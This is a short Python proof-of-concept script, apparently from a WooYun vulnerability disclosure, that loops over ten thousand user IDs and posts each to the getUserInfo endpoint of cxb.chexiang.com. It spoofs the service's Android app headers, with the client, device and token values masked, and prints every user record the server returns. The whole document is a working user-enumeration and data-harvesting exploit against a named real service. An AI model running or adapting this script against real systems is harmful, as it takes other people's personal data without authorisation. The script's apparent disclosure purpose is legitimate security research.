WooYun.org

#!/usr/bin/env python
# coding: utf-8
'''cxb.chexiang.com
[*] user traversal
'''
import requests
import json
def get_headers():
    headers = {}
    headers["Accept-Encoding"] = '*'
    headers["saikemobilehead"] = {
        "appCode":"MongoToC",
        "appVersion":"2.6.0",
        "clientId":"**此处隐去**",
        "deviceId":"**此处隐去**",
        "deviceManufacturer":"Xiaomi",
        "plateformType":"android",
        "sourceCode":"CXB0000",
        "userAccount":"login user account",
        "userToken":"**此处隐去**"
    }
    headers["Accept-Language"] = 'zh-cn,zh'
    headers["Accept-Charset"] = 'utf-8'
    headers["Content-type"] = 'application/json'
    headers["Connection"] = 'close'
    headers["User-Agent"] = "Dalvik/1.6.0 (Linux; U; Android 4.4.4; HM 2A MIUI/V6.7.2.0.KHLCNCH)"
    headers["Host"] = 'cxb.chexiang.com'
    return headers
def get_post_data(user_id):
    post_data = {}
    post_data["userId"] = user_id
    return post_data
def get_url():
    url = "http://cxb.chexiang.com/service/userCenter/getUserInfo/0"
    return url
def user_traver():
    atk_url = get_url()
    headers = get_headers()
    for id in range(3320000, 3330000):
        post_data = get_post_data(id)
        post_data = json.dumps(post_data)
        resp = requests.post(atk_url, data=post_data, headers=headers)
        print resp.json()
        print
if __name__ == '__main__':
    user_traver()